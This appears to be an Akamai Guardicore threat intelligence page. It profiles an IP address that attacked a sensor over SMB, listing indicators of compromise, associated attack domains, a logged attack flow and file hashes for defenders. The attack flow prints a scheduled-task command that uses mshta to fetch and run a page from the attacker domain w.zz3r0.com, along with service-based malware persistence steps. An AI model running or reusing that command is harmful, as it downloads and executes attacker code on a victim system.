Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 49.204.126.61Malicious

IP Address: 49.204.126.61Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Access Share Service Stop Download and Execute SMB Share Connect Successful SMB Login Service Start DNS Query CMD SMB Service Deletion File Operation By CMD Access Suspicious Domain Scheduled Task Creation Download File Service Creation Execute from Share

Associated Attack Servers

w.zz3r0.com

117.2.148.211

Basic Information

IP Address

49.204.126.61

Domain

-

ISP

-

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-05-04

Last seen in Akamai Guardicore Segmentation

2023-07-19

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password

Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 2 times

Successful SMB Login

c:\windows\system32\services.exe installed and started \\server-backup\c$\ofiioqsv.exe as a service named UeiS under service group None

Service Start Service Creation

ofiioqsv.exe was executed from the remote share \\server-backup\c$

Execute from Share

C:\WINDOWS\Temp\svchost.exe was downloaded

Download File

cicxvrzp.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\cicxvrzp.exe as a service named BnJO under service group None

Service Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

Service BnJO was stopped

Service Stop

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User 4 times

Successful SMB Login

rjlbekka.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\rjlbekka.exe as a service named fZkY under service group None

Service Start Service Creation

Service fZkY was stopped

Service Stop

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

Access Suspicious Domain DNS Query

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line c:\windows\MnSB.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The file C:\WINDOWS\jWflAXFa.exe was downloaded and executed 2 times

Download and Execute

The command line c:\windows\jWflAXFa.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to timeout

Associated Files

\\SERVER-BACKUP\C$\gTVfIBIS.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\WINDOWS\PjmVrRiJ.exe

SHA256: b28d1bb2aba92e3889c7caa1d10ede90ddff52475329e7a4bf0970063cd96f1f

390000 bytes